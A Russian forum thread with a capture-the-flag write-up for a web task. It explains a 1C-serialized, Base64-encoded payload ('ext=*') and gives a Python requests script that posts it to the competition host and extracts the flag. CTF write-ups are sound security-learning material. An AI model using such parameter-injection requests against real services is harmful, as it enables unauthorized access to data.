Просмотр полной версии : Writeup. Нулевой заказ (Веб)
Всем привет!
Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.
Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
https://forum.antichat.xyz/attachments/29108372/1700486503698.png
https://forum.antichat.xyz/attachments/29108372/1700486548210.png
Jackerinho
20.11.2023, 20:24
Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
Jackerinho сказал(а):
Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
Разбор для самых маленьких.
Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):
За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.
Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:
Код:
УЙ = ЗначениеИзСтрокиВнутр(Пол читьСтрокуИзДвоичныхДанн х(Base64Значение(пейлоад)));
СпортивноеТело = "";
Для Каждого Х из УЙ Цикл
СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;
где:
Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхД анных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.
После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.
А на питоне это выглядело бы так:
Python:
import
requests
response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)
ALT1RE сказал(а):
Разбор для самых маленьких.
Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):
За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.
Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:
Код:
УЙ = ЗначениеИзСтрокиВнутр(Пол читьСтрокуИзДвоичныхДанн х(Base64Значение(пейлоад)));
СпортивноеТело = "";
Для Каждого Х из УЙ Цикл
СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;
где:
Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхД анных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.
После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.
А на питоне это выглядело бы так:
Python:
import
requests
response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)
Нам(1Сникам) платят не за строчки, а за символы. Я хорошо поднялся на этом сниппете кода! Спасибо за детальный разбор
Cruel Lord
27.11.2023, 11:44
artesk сказал(а):
Всем привет!
Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.
Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Вот это вы заморочились)
artesk сказал(а):
Всем привет!
Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.
Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N",61},{"N",42}}}?
veterok сказал(а):
Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N",61},{"N",42}}}?
читайте второй комментарий
sweetpotatohack
12.05.2024, 00:50
artesk сказал(а):
Всем привет!
Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.
Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)
sweetpotatohack сказал(а):
Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)
ну сразу рассказал бы как! к чему эти бессмысленные сообщения плодить?!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot